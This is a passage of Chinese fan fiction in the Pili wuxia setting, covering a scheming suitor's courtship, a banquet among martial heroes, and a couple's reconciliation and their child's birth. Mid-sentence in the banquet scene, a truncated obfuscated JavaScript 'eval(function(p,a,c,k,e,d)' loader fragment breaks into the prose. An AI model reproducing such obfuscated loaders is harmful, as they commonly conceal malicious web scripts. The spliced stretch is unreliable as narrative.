禁心看着琛奈缺殷勤但却强装淡定的模样感觉有些趣味,不过她暂时也没说什么,正好她也想洗个澡,便顺势点头应了声“可”。 洗浴房空间不小,屏风后有一个用大理石砌成的浴池,此时水池里热气腾腾,湿热氤氲的水雾让禁心不由生起一丝困意,于是褪下身上的一套玄色绣金的男式儒服随手搭在了屏风上。 随着热水淹没胸口,禁心忍不住发出了一声舒适的感叹,水温热度正好,可见琛奈缺是下了血本了。 “汝到底所图为何呢?琛奈缺啊琛奈缺……”明明不过是一介假名,但自禁心的口中念出却无边多出了几分暧昧不清。 好好地泡了半个时辰的澡,禁心终于舒心地出了口气,这才从浴池中走出来,一套精致华丽的暗红女式儒服叠的整整齐齐放在屏风附近,各式玉佩发簪也一应俱全,禁心挑挑拣拣了半天,选了几件喜欢的佩戴。 琛奈缺自身常着朴素的白袍,但不代表他的身价差了,幼时出身豪奢世家,后入道教都能干到二把手,以他心计自然不会如其他道教人士一般两袖清风,身着白袍不过是他生性喜洁,身家和审美还是可以肯定的。 禁心泡澡的这段时间,琛奈缺泡了壶茶闲坐在院中安静品茶,脑中开始反思这段时间的行为是否无懈可击,看是否有暴露之处。 琛奈缺并未准备让禁心帮忙治疗他的怪病,这病是他的弱点,他绝不会允许自己的弱点暴露在任何人眼中。所以他也不过是准备借助禁心的身份查看儒教之中那些密不外传的典籍自行寻找治病之法,而要想看到这些典籍,那就需要让禁心相信他与自己的关系为真,或者在这段时间内将这段虚假的关系弄假成真,要知道美人计虽然俗但着实好用! ‘要想骗过灵渊,果然还是要先骗过自己。’琛奈缺手指下意识在石桌上点了点,他认为只有他先坚信自己爱禁心,才有可能打动禁心,最终达成他的目的。 “吱嘎……”洗浴房的门被禁心推来,禁心微微伸了个懒腰走了出来。 “灵渊可要饮茶?”琛奈缺柔声询问道。 “可。”禁心直接在琛奈缺对面落座。 一杯淡茶被一只青白纤瘦的手放置在禁心身前。 即使眼前的男人不可相信,但并不会影响禁心欣赏美人的心情。 “阿缺,汝的咳嗽可好些了?”禁心手中转着已空的茶杯开始没话找话。 “咳咳……胎中带来的老毛病了,劳烦灵渊为吾担忧了。” 琛奈缺咳喘后白中带粉的脸颊加泛红水润的双眼,让禁心看得愣了一下,只觉心跳似乎也为这病弱美人停了一拍。 禁心忍不住扭头笑了一下,非是对琛奈缺这生硬美人计的嘲笑,而是发自内心觉得琛奈缺这个人勾起了她的趣味。 爱人是万万不可能爱人的,美人投怀送抱就勉勉强强欣赏下好了。 与琛奈缺同居的日子,对禁心来说并不煎熬,反而趣味十足,居然不知不觉间已经过去了数年。 琛奈缺表面上一副不食人间烟火的高岭之花病美人的样子,实际上心眼比蜂窝还多,也就是一开始他没有经验,手段过于老套俗气,让禁心早早看穿了他的本质,否则以他恐怖的学习能力——现在已经能够完美扮演一个专一的爱人——还真未必能让禁心生起警惕。 婉转清越的琴音在禁心耳边环绕,禁心则坐在石桌旁以手撑额闭目欣赏,直到琴音渐消,禁心才意犹未尽地睁开双眼。 琛奈缺捡起桌上的手帕将双手擦干净,这才道出自己的疑惑:“灵渊既然爱琴,为何却不愿弹琴?君子六艺吾不觉得汝于乐之一道上学艺不精。” 不怪琛奈缺会提出这种问题,入道教前他是江湖散人,入道教后作为‘友教’也难以得知儒教内部最顶尖的秘闻,可以说琛奈缺对禁心的了解仅限于三教内‘众所周知’的内容,以及相处多年与日常生活中观察推理得到的信息。 禁心专注地看着琛奈缺的一举一动,闻言露出一抹极富深意的浅笑,神秘地轻声叹道:“真是要人命了,不弹,不弹!” 琛奈缺没有得到自己想要的答案,心知禁心处应该是探听不到《神儒玄章》的来路了,果然还是应该从德风古道下手吗? 在这几年间,琛奈缺已经借着禁心失忆的由头暗地里查阅过儒教残部里所有的典籍,除了修为蹭蹭往上涨,但是没有任何对自己怪病有用的内容,因此他不久之前借禁心的门路加入了德风古道。 琛奈缺有禁心背书,再加上他修为精深,才华惊人,因此很得皇儒无上蔺天刑及德风古道现任主事夏戡玄的看重,已经可以算是正式打入了德风古道高层。 这之后德风古道内的典籍秘闻也不再对琛奈缺设防,而琛奈缺查阅的第一件秘闻记录的只有四个字《神儒玄章》,德风古道内部高层不知为何对这首曲谱皆是讳莫如深,这让琛奈缺更加好奇,不由连问数人,最后是夏琰被缠的无法才告诉他想要知晓《神儒玄章》的真相直接去问原作者灵渊圣尊就好。 这也是琛奈缺这日为何突然弹琴的缘故,不过是先做个铺垫,才好与禁心深入探讨一下琴艺,奈何禁心的嘴比钳子还严,让他直接在第一句就问不下去了。 “阿缺,心思过重可是很伤心神的,人生难得糊涂啊……”禁心只规劝了一句便停下,因为她知道琛奈缺反正也不会听,聪明人总是会不由自主地想太多了。 “灵渊……” 琛奈缺不由唤了声禁心的名字,在禁心听来既幽怨又带了些许无奈,唉,美人计虽然俗气但是实在好用! “好了好了,吾告诉汝还不行吗?吾之琴音会让听者断七情绝六欲,所谓的灭人欲,那汝说人还是人吗?无思想无欲望,那不过是一块可以随意走动的肉块罢了。” “所以你曾经创作的《神儒玄章》也因此被儒教束之高阁,禁止学子翻阅。”琛奈缺若有所思地说道。 “《神儒玄章》?唔……有点熟悉,应该是吾所作,束之高阁算蔺天刑理智,若有人真敢用这东西,吾才要敬伊是条汉子,哈哈哈哈!”禁心自己说着便忍不住捧腹大笑,除了她本人,其他人要想使用《神儒玄章》,第一个被影响的怕不就是自己。 ‘看来《神儒玄章》确实没什么用了,给好友夏戡玄传信一说吧。’琛奈缺一看禁心的反应便知《神儒玄章》这东西害人先害己,实乃鸡肋。 琛奈缺不准备再在《神儒玄章》上浪费时间,便转移话题。 “前几日雨水丰沛,后山溪水水面上升不少,不若举办一场曲水宴,多邀请几位好友相聚一番,灵渊或许能够早点恢复记忆,汝认为如何?” “溪边潮冷,阿缺体弱还需多加小心。” 冷不丁听到禁心关心的叮嘱,琛奈缺一时心跳如擂鼓,忍不住心生雀跃。 数年时间,琛奈缺为取信禁心,无时不刻不在内心重复着“琛奈缺爱灵渊”这句话,直到他现在已经分不清,到底他爱禁心是自己对自己的催眠,还是日久生情他真真正正地爱上了禁心呢?但是每每因为禁心的一句无心之言无心之举而心神动摇却是不可磨灭的事实。 请柬发出,诸位好友纷纷回复会按时赴约,毕竟禁心失忆之事已经不是秘密,若有机会利于她恢复记忆,大家绝不吝于交陪。 约定之日很快来到,琛奈缺一早便兴致十足,准备曲水宴的酒水,都是这几年禁心闲来无事所酿并埋于院内枫树下储藏,虽年头不久,倒也有几分独特野趣。 禁心懒散地趴在石桌上看着琛奈缺忙忙碌碌的样子,忍不住开口劝道:“阿缺不必如此费心,吾之好友们想必都是善解人意之人,不会在意咱们是否失礼的。” 琛奈缺停下手中的动作,看着禁心万事不入心的模样不由叹息:“唉,本来是最重礼法的前儒教掌教,如今居然说出这种话来,果然是退隐使人堕落吗?” “哈~” 收拾好了酒水,禁心与琛奈缺两人相携来到溪边等待诸位好友的到来。 最先到场的是距离最近的德风古道的皇儒无上蔺天刑与掌事夏戡玄。 随即而来的是同为儒教的学海无涯太学主点风缺,他还带了一名黑发的少年儒生疏楼龙宿同行。 接着是汤问梦泽山座白象香六牙和留级大师,不是,是精英首席开物天工江南春信。 再来的便是孤身一人的云海仙门之主九天玄尊君帝鸿。 落在最后的则是月无缺拉着神思不属的剑谪仙。 自禁心失忆以来,虽时不时与诸位好友通信,但这还是第一次见面,她借助通信时的语气习惯,分辨出了众人各自身份,又将琛奈缺介绍给众人,这才邀请大家随意入座。 禁心将酒水置于溪水中,任由酒水随波逐流而下,让个人自行取食。 这时,许久未见的众人也忍不住开始寒暄起来。 “说来自示流岛之战后,也多年不见玄尊了,不知仙门如今可好?”蔺天刑看向九天玄尊询问道。 他的意思当然不是关心友教仙门发展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“听说剑谪仙已有家室,该不会是夫妻感情不睦吧?”琛奈缺推及己身大胆发散思维道。 “麦猜了,就是感情问题,剑谪仙这根榆木脑袋居然会跟姐仔吵架,姐仔带着吾未出生的小侄儿回娘家去了。”月无缺双手环胸不满地瞪了剑谪仙一眼这才给众人解释。 月无缺认识旖霜凤锦的时候年纪还小,在他的成长过程中,仅有凤锦一个成年女性在侧,还对他照顾的无微不至,在月无缺的心中凤锦可说是亦姐亦母,与从小总是对他看管严厉的剑谪仙相比,他这回定是要占凤锦这边的。 “但是锦居然瞒着吾他是魔族的事,还想离开吾回去魔族再不回来。”剑谪仙脸上因为喝多了酒已经泛上了一片潮红,说话的声音也不似平日稳重,显然是已经喝醉了。 “灵渊,你说你是不是早就知晓锦是魔族之事了,为何不告知吾?咱们不是好友吗?” 听到剑谪仙话题转到自己这里,禁心不由满头问号:“吾不知啊!吾失忆了啊!” 月无缺忍着想要暴揍老哥的欲望按住剑谪仙的肩膀,强忍着怒气说道:“剑谪仙汝够了!别把自己的责任推到别人身上,让你一天天都窝在天窍里修行,你要是多陪在姐仔旁边,不早就发现他的身份了?” “无缺……你怎么也对为兄这么凶,锦对吾下毒就算了,连你也对吾……” “姐仔不是立刻就给你解毒了吗!玉人要忍不住了,今日就是玉人大义灭亲的时候了!” “等等!无缺!别和喝多的人一般见识啊!”香六牙和江南春信一左一右拉住月无缺,不让他真的出手大义灭亲。 被这边的吵闹吸引了注意力,玄尊和太学主几人也围了过来,几人了解了情况后,忍不住开始幸灾乐祸地指指点点。 皇儒:“所以说,先天人要什么家室,成什么婚,最后不还是要掰?” 玄尊:“剑谪仙成婚时好像还未入先天,他与凤锦是少年相识了,月无缺都是凤锦帮忙带大的吧!” 太学主:“哎呀,这么多年了,七年之痒没有过,七甲子之痒是少不了的。” 夏戡玄:“啊这……吾本来准备这几年便成婚的来着,吾未来不会也变成剑谪仙这般怨夫样吧?” 皇儒:“放心,你不会,你未婚妻又无修为在身,活不到七甲子这么久的。” 夏戡玄:“老大,这种实话就不用多说了吧。” 疏楼龙宿:从来没想过这些传说中的大前辈私下里居然这么能八卦,果然憧憬是距离理解最遥远的感情…… 即便剑谪仙喝醉了也不影响他听到几人的风凉话后恼羞成怒:“住口吧!你们这些单身汉!处男没有资格批评高贵的已婚仙宿!” “恒山·刃天一!”剑谪仙一怒之下剑指立出,无匹剑气直冲几人。 “哎呀!剑谪仙别毁吾山头啊!”禁心无语只好跟上去拦下这个喝醉的大杀器,以防自己和琛奈缺晚上需要露天席地。 琛奈缺坐在诸人之外的位置,看着在场的闹剧,还有禁心不自觉展现的笑颜,自己也缓缓跟着笑了起来。 “哈……咳咳咳……”突如其来的阵咳也没有打扰到琛奈缺的好心情,今日这副画面已经深深地印在了他的脑海中,即便在往后的时光中他失去了多少记忆,这副聚集了这众多高手的一日休闲仍在他的记忆中留有残影。 10. 每次睡醒都发现情缘在揍人-6 难得一次的好友聚会,最后在剑谪仙喝醉削掉了禁心半个山头作为结束,虽然酒醒后,被月无缺按着脑袋给禁心和琛奈缺道歉,但是剑谪仙还是在好友们的幸灾乐祸,不是,集思广益下得到了点灵感。 求和第一步,先送礼。 “阿锦只剩一月就将临盆,如今怕是修为所剩无几,也不知他本体反馈的生机是否充足……果然还是需要先帮他补充足够的生机……羋舞罗,汝说呢?”剑谪仙对着窗台上插在花瓶中的一枝异花自言自语,那正是凤锦随身之物,陪伴凤锦日久,已生一丝灵识。 羋舞罗似乎听懂了剑谪仙的话,周身闪了闪,似乎是表达同意他的意思。 “既然如此,那汝便助仙宿一臂之力,感应一番,苦境是否有能对凤锦助益之物。喝……”剑谪仙将羋舞罗插入地下,同时一身超绝元功灌入羋舞罗之中,让它借助自己的能力沟通苦境大地上的无数植物。 一身内元十不存一,剑谪仙吐了口气,盘膝坐在地上打坐回元,同时等待羋舞罗的反馈。 剑谪仙本以为至少需要十来天才会有结果,没想到不出三天羋舞罗便收到了反馈,顿时金光耀目。 “羋舞罗,有结果了?”剑谪仙此时内元刚刚完全恢复。 羋舞罗散发出的金光逐渐消失,只余一根金线遥遥延伸向无尽的远方,明显在指引剑谪仙前往。 “好,仙宿这便前往一观。”剑谪仙将地上的羋舞罗收回手中,沿着金线的标注一路化光而行。 目的地并没有剑谪仙想象中那么远,离开菡茵谷,不过化光一日的路程。只是在剑谪仙看来,这遍地荒芜并没有任何灵物存在,突然,灵光一闪之下,剑谪仙剑指一出,无匹剑气灌入地下,一个接通地下数百丈的巨坑被炸了出来。 剑谪仙见金线确实延伸进入了巨坑之下,随即跳入坑中。 直到深入地下三百丈左右,剑谪仙正要落地,暗处一道攻击自其背后袭来。 剑谪仙心下一动,已是察觉,轻松抬手拦下偷袭的长斧,背后的轩昂剑龛未曾出鞘,仅是剑鞘一转,便已击中偷袭者胸口。 “呃……噗!”偷袭者功力远远不如剑谪仙,仅这一击便让其胸骨粉碎,心脉尽断。 “擅闯……妖氛……之脉,暗劫……八无暇……不会……放过你……呃!”话音刚落,偷袭者已经气绝身亡。 听到这人口中的暗劫八无暇,剑谪仙想起好友香六牙曾说过自己最近正在追查这个八人恐怖组织,于是将此地路观图绘制好立即飞书发给了香六牙。 香六牙所在的汤问梦泽相对距离更近,加上事情紧急,香六牙自收到飞书不过半日便赶来了此地。 自偷袭者死亡后,整个妖氛之脉的昏暗灯火便熄灭了其中一盏,视线更加受阻,剑谪仙只好另点了篝火,方便查探四周。 “好友,偷袭者在何处?”香六牙落地第一件事便是问及此人,剑谪仙便带他来到死者跟前。 “嗯……青面、紫发、金甲,是‘暗劫八无暇’之中的霸金纛。”香六牙一打眼就认出了死者身份,他最近追查‘暗劫八无暇’这个组织很紧,对组织里的每个人都已熟悉,毕竟每个人都被他杀过几次了。 “这个组织里的八人以缔命之术共享生命,单杀一人根本无用,只要没有解除缔命之术,或者在七日之内将八人杀光,他们八人就会全数复活。这八人里有几人十分善于隐藏踪迹,吾每次皆是因为寻不到那一两人的踪迹导致前功尽弃。”香六牙想起这八人就恨得牙痒痒,因为实在是太能躲了,除了八无暇的老大祖登龙能跟他过个几招,其他人的修为根本不放在香六牙眼中,就因为找不到,所以只能眼睁睁看着祖登龙一次又一次的复活。 “好友可研究过他们几人的缔命之术?”剑谪仙询问道。 “吾猜测他们的缔命之术应该是基于某种奇物作为核心和中转,否则如此精密的复生之术不该没有任何后遗症,那就只可能是这复生的代价有其他人或物来承担了。”香六牙如是说道。 剑谪仙想到了他来此地的最初目的,正是为寻奇物给凤锦补充生机。 想到此处,剑谪仙持着羋舞罗的手腕一抖,羋舞罗瞬间化作一根光鞭,自动缠上了两人身后的七趣宝树。 “答案近在眼前了,好友!”剑谪仙抬手向香六牙示意道。 香六牙立即上前探查七趣宝树,果然发现其内有八道不同的神识相连。 “如此看来,只要毁去此树,八无暇缔命即可解除,此后这八人,不对,是剩下的七人已不足为虑。”香六牙终于忍不住舒了口气,概因八无暇实在让他烦心了好一段时间,同一个人杀了十遍八遍,他也快要受不了了。 “耶~”剑谪仙抬手拦下意欲毁树的香六牙,忙道:“好友不忙出手,此树虽邪异,但生机旺盛,正好可以为仙宿爱妻爱子稍作补益。” 香六牙听着剑谪仙这话,实在感觉酸的牙疼,前几日曲水宴上剑谪仙喝醉哭诉凤锦的画面还历历在目,如今就又开始张口‘阿锦’闭口‘爱妻’了。 酸,实在是太酸了! “算了,看在他和未来侄儿面子上,此树便让给你了。”香六牙结识剑谪仙时,剑谪仙与凤锦已经相识同行游历江湖,可说他是同时结识了剑谪仙与凤锦两人。且在香六牙看来凤锦除了隐瞒自己魔族出身以外,并不曾为恶,反而与剑谪仙一同侠名远扬,那这魔族的出身就不会是香六牙疏远好友凤锦的理由了,凤锦在他这里,自然是有面子的。 “哈!那仙宿还要多谢好友相让了!”说完,剑谪仙手握羋舞罗所化之鞭,手臂使力一拉,七趣宝树立即被连根拔起。 剑谪仙收起七趣宝树,告别香六牙,直接动身前往冥界的魔族地界。 有羋舞罗引导方向,剑谪仙越过了魔族玄都,径直前往了禁地范围,也就是禁心现今隐居之处。 院内树下,一头藻绿短发的少年正手持一柄绿刃宽剑练习剑法,这柄剑正是随着戮世摩罗一起从异界而来的魔剑逆神。 剑谪仙化光而来,见戮世摩罗小小年纪剑招精妙,忍不住见猎心喜,正面出手攻向戮世摩罗。 “来得好!”戮世摩罗冷哼一声,随即变招抵挡。 剑谪仙只为试探他的基础,因此过招时并未运转内元,两人仅是见招拆招。 戮世摩罗一身根骨资质惊人,可说是千年都难得一遇,虽然刚刚恢复正常行动能力,但是少少几天时间已将凤锦教他的剑法揣摩出了几分真味。 剑谪仙给戮世摩罗喂了几十招,见他体力逐渐不支,便准备收手,却没想到那小子更损,直接收剑后退,同时还扭头向着屋里喊道:“父王救命!有人来砸场子啦!” 话音刚落,一道缥缈身影,瞬息移至剑谪仙面前,一双玉手化掌为爪,抢攻而上。 剑谪仙立马认出来人,不正是旖霜凤锦,还不等他停手,便听凤锦冷声道:“谪郎来就算了,居然欺负吾儿小空,实在该打!” 吾儿?小空?啥玩意儿? 剑谪仙感觉自己好像幻听了?他什么时候和凤锦有这么大一儿子了?他怎么不知道?经常睡觉的好像是凤锦而不是他吧?他没有在做梦吧? 脑子一时间转不过来弯,但是身体的条件反射还是有的,一连挡下凤锦数招,直到终于把脑子捋清楚了,剑谪仙才拿出真功夫,握住凤锦双手,让他消停下来。 “阿锦,先停手,将话讲清楚。”剑谪仙一脸严肃地看向凤锦说道。 凤锦抽回双手,却没再继续出手,哼笑了一声这才点了点身后的戮世摩罗慢慢说道:“这小子被锦用精血所救,已经算是吾的血脉之子了。” 而戮世摩罗则是坏笑着向剑谪仙行了个礼:“戮世摩罗见过母后!” ‘母后’两个字直接让剑谪仙的脸色由白转黑,他转头控诉地看着凤锦争辩道:“阿锦与吾多了一个子嗣吾并无意见,但是否应该称呼吾‘爹亲’?” 凤锦捂着嘴边笑边说:“锦是魔族之王,谪郎是本王的夫婿,便是吾族的王后,小空的称呼也无不可。” 看着面前两个一起坏笑的父子,剑谪仙总觉得未来的麻烦恐怕要成倍数增长。 “所以说,谪郎此回来魔族不知有何要事啊?锦事先声明,回菡茵谷是不可能的!”此时的凤锦与剑谪仙终于说起了正事。 剑谪仙无奈地叹了口气:“阿锦如今确实不宜挪动住处,仙宿此行也并非是因为这个,而是将此物送来给阿锦聊作滋补。”说着剑谪仙挥手将七趣宝树取出。 凤锦挑剔地打量了一圈七趣宝树,没有剑谪仙想象中的高兴,反而说道:“此物……呵~锦就勉强收下吧!” 七趣宝树由地狱鸟阴能与菩提圣气相互作用而生,亦圣亦邪,妙用无穷,但能利用的人却不多,如今被人用来缔命复生,也算一种另类用法。 凤锦体内有来自天魔的精纯魔气和花王的妖气,虽能吸收地狱鸟的阴能,但如今魔气妖气已达平衡,再加地狱鸟阴能非但不能为他增强修为,反而会打破他体内平衡之力,得不偿失啊! 算来算去,阴能与菩提圣气皆是无用,只能提取出来封印好,留待他用了。幸好还有宝树本身的生机极为旺盛,虽然能为他续命至少一甲子,不过他并不准备给自己使用,有另一个人更需要它,那就是已经在孕育之中的二世花王! “父王,‘母后’今日要在魔族住下吗?”戮世摩罗一副小声偷偷询问凤锦的模样,但实际上在场的另两人哪个听不到他的话呢。 “谪郎可是正道栋梁,怎么可能会在魔族地界多待呢?”凤锦同样一副小声的模样对戮世摩罗说道。 这直接让本来想说要留下暂住几日的剑谪仙说不出话了,只好依依不舍地离开。 “父王,为什么一定要爹亲离开呢?”戮世摩罗见剑谪仙离开后不解地问道,之前的开口挤兑也是凤锦的暗中示意。 “小朋友,这里是魔族,还是魔族的禁地,他一名人族留太久像话吗?”凤锦敲了敲戮世摩罗的脑袋。 众所周知,魔族禁地是当年天魔居所,后来天魔于天魔录内闭关,凤锦继位后才另建玄都作为魔族的都城,天魔旧居就变成了魔族的禁地,普通魔族都禁止随意进入,更别提一名人族高手了。 收起七趣宝树,凤锦安排戮世摩罗最近几日自行处置,他要闭关了。 二世花王已孕育百年,至今未曾降生,实 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凤锦这才取出七趣宝树,宝树内中的地狱鸟阴能和菩提圣气已经被凤锦提前抽出封印,八无暇缔命的八道神识也被凤锦施术磨灭,可说暗劫八无暇的复生之法已经被完全解除了。 凤锦掌中聚力,直接开始抽取七趣宝树的生机,同时另一只手抵在神花树上,源源不断地将生机灌给神花树。 随着凤锦抽取的生机越多,七趣宝树也在逐渐枯萎,最终化为飞灰,再不现天地。 生机的补充让神花树的花苞迅速生长壮大。 “看如今状况,父王应该不出半年就会降生了。”凤锦话中带了些喜悦,同时也少不了遗憾,他八成等不到二世花王降生便要再入轮回了。 “金魔不知还剩多少时间?”兰镶玉笔询问道。 “不出两月。”凤锦说完,抬手止住兰镶玉笔准备说的话,他知道兰镶玉笔定然是想要为他延续时间,不过花开花谢乃是天意定数,强行更改并非好事,代价难付啊! “不过一甲子,锦会回来与魔父和父王一家团圆的,兰镶安心准备父王降生之事吧,锦得回魔族去了。” “是,兰镶恭送金魔。” 凤锦悠哉地往魔族走,脑中也在思考着事情,在回禁地之前,他先去魔脉处取回天魔录,这才终于返回禁地。 没惊动戮世摩罗,凤锦悄然回到自己房间,取出天魔录,按照天魔留下的方法,打开天魔录,唤醒了沉睡中的创魔之先——魔族之主——天魔。 “吾儿花锦,唤醒为父所为何事?”一道雄浑男声自天魔录中传来。 “父王即将降生,所以特意提前唤醒魔父。”凤锦回答道。 “好!好啊!”男声喜不自胜,不过瞬息之间,一道霸气人影便自天魔录中浮现,并以极快的速度化为实体。 “等待许久,二世花王终于要降生了。”天魔眼中微微湿润,当初挚爱早逝让他心痛不已,奈何还有幼子陪伴身旁,让他勉强打起精神将幼子好好抚养长大,直到金魔势力初具规模继承魔族大统,他才放心沉睡以等待爱人复生。 “不出半年,神花树便会开花,还望魔父把握住机会,并好好保护父王,一甲子后与锦一家团圆。” “吾儿啊……”天魔想到凤锦继承自花王的特质忍不住心疼爱子命运坎坷,伸手将凤锦像小时候一般抱在怀里拍着凤锦的背。 “魔父,锦剩余的时间不多了,外面的少年是锦的血脉之子,还有即将降生的这个孩子,他们就托付给魔父与父王照顾了。” “吾儿放心,两名孙儿魔父会好好照看的,只是不知孙儿的另一位父亲何在?”天魔装作不经意地问道。 凤锦闻言笑了出来:“魔父,锦的王后乃是中原一名人族。” “哼!区区人族如何配得上吾儿花锦!”天魔冷笑一声不屑道。 “这嘛……外子还是很优秀的,魔父可以放心的。”凤锦也不好说太多,反正等天魔和剑谪仙两人见面,天魔应该会欣赏剑谪仙的……吧? 凤锦临盆之日很快到来,玉磬隐早就提前赶来随时准备为凤锦接生,天魔、白无垢、圣母还有戮世摩罗四人围在屋外焦急等候。 就在这时,一股不同于魔族的强横圣气极速接近禁地,天魔怒目而视,根本不待来人落地,直接出手抢攻。 “哎呀!坏了!天魔快住手,那是阿锦夫婿!”白无垢见两人还在交手,根本不理他说的话,只好借助自己金树族的长处插入战局,拦下天魔和剑谪仙两人。 “没错!打的就是他!”天魔当然听见白无垢的话了,不过他十分不满对方是个人族,所以就想趁机给这人一个下马威。 剑谪仙本不知晓面前之人是谁,也是听到白无垢的话才知道眼前的人居然是自己的老丈人,但是这第一次见面的老丈人明显来意不善,剑谪仙只好接招了。 各自挡了几招,白无垢就被两人联手给推出了战局,白无垢火气也上来了,直接甩了一句就不管两人了。 “随便你们吧,凤锦发火你们也别来找我了!” 或许是这句话起了作用,天魔和剑谪仙两人默契停了手,但还是想看两相厌,恨不得都离对方远远的。 11.每次睡醒都发现情缘在揍人-7 翁婿之争暂时告一段落,众人等待在产房之外,每个人的反应皆不相同。 圣母只等待了一柱香的时间,实在忍不住直接进了产房给玉磬隐搭把手,戮世摩罗则是探头探脑地趴在窗口踮着脚尖往里看,白无垢永远是一副胸有成竹的表情坐在树下喝茶,天魔在白无垢旁边坐一会儿又去戮世摩罗旁边站一会儿总之就是静不下来,而剑谪仙此时则是一脸空白整个人失魂落魄再不复曾经的气定神闲的先天高人模样。 直到一个时辰后,一声嘹亮的婴儿啼哭惊醒了在场坐立难安的几人。不多时,圣母抱着婴儿出了产房,她将婴儿放到天魔怀里,立即转头对剑谪仙说:“剑谪仙还请进入吧,凤锦有话要对你说。” 剑谪仙一听凤锦要见他,来不见先看看孩子,便直接大步走进房中。 产房中并无任何血腥味,反而满是凤锦身上自带的花香,而此时这阵花香之中已带了些枯萎腐朽之意。 “谪郎,可看过孩儿了?”凤锦此时面色带了些红润,剑谪仙知晓这正是回光返照。 “还未,孩儿有其他人守着,吾想先看看阿锦。”剑谪仙拉着凤锦的手笑着说道。 凤锦闻言得意地一笑,“锦在剑谪仙心中永远是第一位。” “是,不论是凤锦还是金魔皆是仙宿心中最重要之人,无缺和孩儿也要放在第二位。” “哼!这还差不多!”凤锦这回才真正满意。“如今天时将至,在此之前,不知谪郎可愿与锦作一个约定?” “约定?是何约定?”剑谪仙疑惑地询问道。 “此约关乎冥界与中原的和平,只要本王不对中原武林出手,剑谪仙亦不能对冥界出手。”凤锦说到这里终于图穷匕见。 但是剑谪仙对这个约定却有些犹豫,若是他答应了这个约定,那魔族下属组织入侵中原时,他便不能出手制裁,因为凤锦并未亲至。 “谪郎在犹豫什么?是担忧中原没有能够抗衡冥界的人吗?你要知道这苦境并非只有剑谪仙一人,你一人也做不到杀遍这天下所有野心之辈,你或许应该多信任一下你眼中的普通人,他们并非你所想象的那般无力反抗。” 剑谪仙知道凤锦所说有其道理,不过凤锦的主要目的还是不希望他对魔族之人出手。 只稍微犹豫了一会儿,剑谪仙便想通了,虽然不觉得普通人能起什么作用,但他还有好友和无缺,他自己不能出手不代表不能商请各位好友帮忙,于是剑谪仙点头同意了。 “好吧,仙宿同意金魔的提议了,只要金魔不对中原武林出手,剑谪仙亦不会对冥界之人出手。” 剑谪仙和凤锦分别取出羋舞罗和仙羽宿一,各自留下一道神识留言以作证明,随即剑谪仙再度收起羋舞罗,凤锦也笑着将仙羽宿一放在枕边。 “正事说完,也该说私事了,孩儿已经出生,不知谪郎可想好名字了?”凤锦靠坐在剑谪仙怀中问道。 这一下给剑谪仙问倒了,他好像……忘记这回事了? 剑谪仙自凤锦回转魔族以来,想的都是怎么挽回夫妻感情,完全忘记还要给孩子取名字了,现在只好脑子极速转动,力求现取一个合适的名字。 “嗯……剑霜白如何?既有剑谪仙的‘剑’,又有旖霜凤锦的‘霜’,作为咱们的孩子叫做‘剑霜白’正合适!”剑谪仙想了许久才想出一个满意的名字,可惜已经得不到凤锦的回复了。 “阿锦你放心,吾会好好抚养霜白,待一甲子后,吾与霜白一起接你回家……” “花锦!”天魔抱着孩子走进屋里看到的便是正在给凤锦整理仪容的剑谪仙。 “神魂已回归本命树了,唉……花锦你放心,魔父和你父王会好好帮你抚养小空和魔婴。”天魔郑重地说道。 然而这话在剑谪仙耳中听起来就有点不对劲了,连忙打断了老丈人:“天魔,小空和霜白是仙宿与凤锦之子,自然由吾抚养长大,就不劳岳丈大人费心了。” 天魔一听“岳丈”两个字就牙疼,立马反驳道:“谁是你岳丈,本座可没认可你这个人族女婿,小空和魔婴身为魔族当然要留在魔界跟本座一同生活!” 剑谪仙见天魔不给他面子也是上火:“仙宿与凤锦乃是名正言顺的夫妻,天魔尽管不满也改变不了现实!而且小空本来便是人族,而且霜白也有一半人族血脉,跟吾在人族地界生活有何不对?” “本座不管那些,反正今天你定是带不走他们两个!” “那仙宿就得罪了!”说完剑谪仙立刻出手准备强抢。 天魔冷哼一声,旋身避过剑谪仙伸向怀中魔婴的手,直接冲出了房间,屋内空间太小,实在不适合他那大开大合的战斗风格。 屋外的几人见两人又打了起来,圣母和白无垢直接转身继续喝茶,显然是眼不见心不烦,而玉磬隐早就利索地滑着轮椅并拉上戮世摩罗退到了安全位置,防止被打斗中的两人殃及池鱼。 “剑谪仙,你刚刚还答应了花锦不对魔族之人出手,现在又是在做什么?”天魔一边躲闪剑谪仙一边反击,嘴上也不吃亏,开始戳剑谪仙的心窝子。 剑谪仙没有半点不好意思地说:“仙宿不过是岳丈切磋一下拳脚,算什么出手!赶紧把霜白还来!” 天魔虽然自信,但也从来没小看过剑谪仙,知道两人只动拳脚怕是难以分出胜负,决定用点真功夫出来赶紧打发剑谪仙离开。 “喝!恸心掌!”天魔一手护住魔婴,另一手积攒魔元盖向剑谪仙。 “恒山·风云斩!” 剑谪仙以指化剑,锐利剑气与天魔魔掌相撞,两人互不相退,又起新招。 “离元爆!” “恒山·紫气贯!” 极招相对,爆发出极大冲力,天魔和剑谪仙两人皆不得不各自后退。 不经意间,天魔怀中的魔婴竟跌落于地,而地上不知何时出现了一道空间裂缝,竟然直接将落下的魔婴吸入,而后空间裂缝也消失无踪。 “魔婴!” “霜白!” 天魔和剑谪仙谁也没想到现场居然出现这等变故,战斗被迫停止,现在在场众人的唯一目标只有找到丢失的魔婴。 “空间裂缝内并无异界气息,应是跌落苦境其他地方了。”白无垢用术法检测了一遍空间裂缝气息残留的位置后确定地说。 “好,吾立刻回转中原,让好友用血缘术法查找霜白下落。” “中原交你,本座与白无垢探查其他的地界。”天魔也没再说别的。 剑谪仙离开前还不忘询问戮世摩罗:“小空,汝可要与仙宿一同回天窍修行?” 戮世摩罗尴尬地哈哈一笑:“爹亲我就不去了,魔界人多又有趣,说话又好听,我还没玩够呢!” “好吧,吾也要寻找汝小弟霜白,怕也难顾上汝,若有事情可传信给吾。”剑谪仙无奈叹了口气也没说要强制带戮世摩罗离开。 向白无垢和圣母行了一礼,剑谪仙立马化光离开冥界,找好友们帮忙去了。 “好了,剑谪仙也走了,天魔你也不用继续装了。”圣母白了天魔一眼说道。 “哼!本座装什么了?”天魔一副死不承认的样子让圣母看得很想爆锤他。 